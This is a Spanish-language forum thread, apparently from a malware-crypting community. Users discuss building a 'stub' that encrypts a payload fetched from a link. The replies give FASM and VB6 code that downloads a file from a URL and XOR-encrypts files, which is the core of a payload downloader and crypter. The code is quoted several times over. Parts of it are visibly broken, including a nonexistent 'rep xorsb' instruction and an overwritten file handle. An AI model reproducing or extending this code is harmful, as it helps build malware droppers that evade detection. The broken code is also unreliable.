DarkGate escribió: 21 Feb 2023, 15:04
0day escribió: 20 Feb 2023, 17:55 Es posible cifrar la carga útil si se carga en un link?
Tiene algún ejemplo de cómo se vería el código en stub?
0day escribió: 22 Feb 2023, 16:22
DarkGate escribió: 21 Feb 2023, 15:04
0day escribió: 20 Feb 2023, 17:55 Es posible cifrar la carga útil si se carga en un link?
Tiene algún ejemplo de cómo se vería el código en stub?
Sí, tengo un ejemplo, ya que no has especificado en absolutamente nada aquí tienes el ejemplo en FASM

Código: Seleccionar todo

format PE console
entry start

include 'win32a.inc'

section '.data' data readable writeable
  URL db 'http://www.example.com/examplefile.txt', 0
  LOCAL_FILE db 'examplefile.txt', 0

section '.code' code readable executable
  start:

    invoke InternetOpen, 'MyApp', INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0
    mov ebx, eax ; almacenar el identificador de sesión de Wininet

    invoke InternetOpenUrl, ebx, addr URL, NULL, 0, INTERNET_FLAG_RELOAD, 0
    mov ecx, eax ; almacenar el identificador del archivo

    invoke CreateFile, addr LOCAL_FILE, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL
    mov edx, eax ; almacenar el identificador del archivo local

    invoke InternetReadFile, ecx, buffer, 1024, addr bytes_read
    .while eax
      invoke WriteFile, edx, buffer, eax, addr bytes_written, NULL
      invoke InternetReadFile, ecx, buffer, 1024, addr bytes_read
    .endw

    invoke CloseHandle, edx
    invoke InternetCloseHandle, ecx
    invoke InternetCloseHandle, ebx
    invoke ExitProcess, 0

section '.idata' import data readable writeable
  library kernel32, 'kernel32.dll', \
          wininet, 'wininet.dll'
  include 'api\kernel32.inc'
  include 'api\wininet.inc'

Ahora el ejemplo de cifrar/descifrar

Código: Seleccionar todo

format PE console
entry start

section '.data' data readable writeable
  key db 0xAA ; La clave XOR para la encriptación
  buffer_size equ 1024 ; El tamaño del buffer para leer/escribir
  filename db 'input.txt',0 ; Nombre del archivo de entrada
  encrypted_filename db 'output.txt',0 ; Nombre del archivo encriptado

section '.bss' readable writeable
  buffer resb buffer_size ; Buffer para leer/escribir

section '.code' code readable executable
  start:

    invoke CreateFile, filename, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL
    mov ebx, eax ; almacenar el identificador del archivo de entrada

    invoke CreateFile, encrypted_filename, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL
    mov ecx, eax ; almacenar el identificador del archivo encriptado de salida

    .while TRUE
      invoke ReadFile, ebx, buffer, buffer_size, NULL, NULL
      .if eax == 0
        jmp finished
      .endif

      mov edi, buffer
      mov esi, buffer
      mov ecx, buffer_size
      cld
      rep xorsb

      invoke WriteFile, ecx, buffer, eax, NULL, NULL
    .endw

  finished:

    invoke CloseHandle, ecx ; archivo de salida
    invoke CloseHandle, ebx ; archivo de entrada
    invoke ExitProcess, 0

section '.idata' import data readable writeable
  library kernel32, 'kernel32.dll'
  include 'api\kernel32.inc'
DarkGate escribió: 22 Feb 2023, 20:47
0day escribió: 22 Feb 2023, 16:22
DarkGate escribió: 21 Feb 2023, 15:04
Tiene algún ejemplo de cómo se vería el código en stub?
Sí, tengo un ejemplo, ya que no has especificado en absolutamente nada aquí tienes el ejemplo en FASM

Código: Seleccionar todo

format PE console
entry start

include 'win32a.inc'

section '.data' data readable writeable
  URL db 'http://www.example.com/examplefile.txt', 0
  LOCAL_FILE db 'examplefile.txt', 0

section '.code' code readable executable
  start:

    invoke InternetOpen, 'MyApp', INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0
    mov ebx, eax ; almacenar el identificador de sesión de Wininet

    invoke InternetOpenUrl, ebx, addr URL, NULL, 0, INTERNET_FLAG_RELOAD, 0
    mov ecx, eax ; almacenar el identificador del archivo

    invoke CreateFile, addr LOCAL_FILE, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL
    mov edx, eax ; almacenar el identificador del archivo local

    invoke InternetReadFile, ecx, buffer, 1024, addr bytes_read
    .while eax
      invoke WriteFile, edx, buffer, eax, addr bytes_written, NULL
      invoke InternetReadFile, ecx, buffer, 1024, addr bytes_read
    .endw

    invoke CloseHandle, edx
    invoke InternetCloseHandle, ecx
    invoke InternetCloseHandle, ebx
    invoke ExitProcess, 0

section '.idata' import data readable writeable
  library kernel32, 'kernel32.dll', \
          wininet, 'wininet.dll'
  include 'api\kernel32.inc'
  include 'api\wininet.inc'

Ahora el ejemplo de cifrar/descifrar

Código: Seleccionar todo

format PE console
entry start

section '.data' data readable writeable
  key db 0xAA ; La clave XOR para la encriptación
  buffer_size equ 1024 ; El tamaño del buffer para leer/escribir
  filename db 'input.txt',0 ; Nombre del archivo de entrada
  encrypted_filename db 'output.txt',0 ; Nombre del archivo encriptado

section '.bss' readable writeable
  buffer resb buffer_size ; Buffer para leer/escribir

section '.code' code readable executable
  start:

    invoke CreateFile, filename, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL
    mov ebx, eax ; almacenar el identificador del archivo de entrada

    invoke CreateFile, encrypted_filename, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL
    mov ecx, eax ; almacenar el identificador del archivo encriptado de salida

    .while TRUE
      invoke ReadFile, ebx, buffer, buffer_size, NULL, NULL
      .if eax == 0
        jmp finished
      .endif

      mov edi, buffer
      mov esi, buffer
      mov ecx, buffer_size
      cld
      rep xorsb

      invoke WriteFile, ecx, buffer, eax, NULL, NULL
    .endw

  finished:

    invoke CloseHandle, ecx ; archivo de salida
    invoke CloseHandle, ebx ; archivo de entrada
    invoke ExitProcess, 0

section '.idata' import data readable writeable
  library kernel32, 'kernel32.dll'
  include 'api\kernel32.inc'
gracias tienes para vb6?
 
gracias tienes para vb6?
Ya no se usa ese lenguaje, es inestable a día de hoy y los algoritmos de cifrado no funcionan con Windows unicode

Esto deberia servir, ya hace años que no uso vb6 y no tengo el compilador instalado ni nada guardado así que lo hice un poco de memoria




Código: Seleccionar todo

Private Declare Function URLDownloadToFile Lib "urlmon" _
    Alias "URLDownloadToFileA" (ByVal pCaller As Long, _
    ByVal szURL As String, ByVal szFileName As String, _
    ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long

Private Sub DescargarArchivo(ByVal url As String, ByRef contenido As String)
    Dim buffer() As Byte
    Dim bufferSize As Long
    Dim resultado As Long
    
    resultado = URLDownloadToFile(0, url, "archivo_temporal", 0, 0)
    
    If resultado = 0 Then
        Dim fileNum As Integer
        fileNum = FreeFile
        Open "archivo_temporal" For Binary Access Read As fileNum
        bufferSize = LOF(fileNum)
        ReDim buffer(0 To bufferSize - 1) As Byte
        Get #fileNum, , buffer
        Close fileNum
        
        contenido = StrConv(buffer, vbUnicode)
        
        Kill "archivo_temporal"
    End If
End Sub

Dim ArchivoEntrada As String
Dim ArchivoSalida As String
Dim Key As String
Dim Texto As String
Dim i As Integer

ArchivoEntrada = RutaArchivo.Text

Key = "clave"

Open ArchivoEntrada For Binary As #1
Texto = Input(LOF(1), #1)
Close #1

For i = 1 To Len(Texto)
    Mid(Texto, i, 1) = Chr(Asc(Mid(Texto, i, 1)) Xor Asc(Mid(Key, ((i - 1) Mod Len(Key)) + 1, 1)))
Next i

ArchivoSalida = ArchivoEntrada & ".cifrado"
Open ArchivoSalida For Binary As #1
Put #1, , Texto
Close #1

MsgBox "El archivo ha sido cifrado y guardado en " & ArchivoSalida
DarkGate escribió: 23 Feb 2023, 09:35
gracias tienes para vb6?
Ya no se usa ese lenguaje, es inestable a día de hoy y los algoritmos de cifrado no funcionan con Windows unicode

Esto deberia servir, ya hace años que no uso vb6 y no tengo el compilador instalado ni nada guardado así que lo hice un poco de memoria




Código: Seleccionar todo

Private Declare Function URLDownloadToFile Lib "urlmon" _
    Alias "URLDownloadToFileA" (ByVal pCaller As Long, _
    ByVal szURL As String, ByVal szFileName As String, _
    ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long

Private Sub DescargarArchivo(ByVal url As String, ByRef contenido As String)
    Dim buffer() As Byte
    Dim bufferSize As Long
    Dim resultado As Long
    
    resultado = URLDownloadToFile(0, url, "archivo_temporal", 0, 0)
    
    If resultado = 0 Then
        Dim fileNum As Integer
        fileNum = FreeFile
        Open "archivo_temporal" For Binary Access Read As fileNum
        bufferSize = LOF(fileNum)
        ReDim buffer(0 To bufferSize - 1) As Byte
        Get #fileNum, , buffer
        Close fileNum
        
        contenido = StrConv(buffer, vbUnicode)
        
        Kill "archivo_temporal"
    End If
End Sub

Dim ArchivoEntrada As String
Dim ArchivoSalida As String
Dim Key As String
Dim Texto As String
Dim i As Integer

ArchivoEntrada = RutaArchivo.Text

Key = "clave"

Open ArchivoEntrada For Binary As #1
Texto = Input(LOF(1), #1)
Close #1

For i = 1 To Len(Texto)
    Mid(Texto, i, 1) = Chr(Asc(Mid(Texto, i, 1)) Xor Asc(Mid(Key, ((i - 1) Mod Len(Key)) + 1, 1)))
Next i

ArchivoSalida = ArchivoEntrada & ".cifrado"
Open ArchivoSalida For Binary As #1
Put #1, , Texto
Close #1

MsgBox "El archivo ha sido cifrado y guardado en " & ArchivoSalida


te envié un mensaje privado
 
Responder

Volver a “Dudas y Preguntas”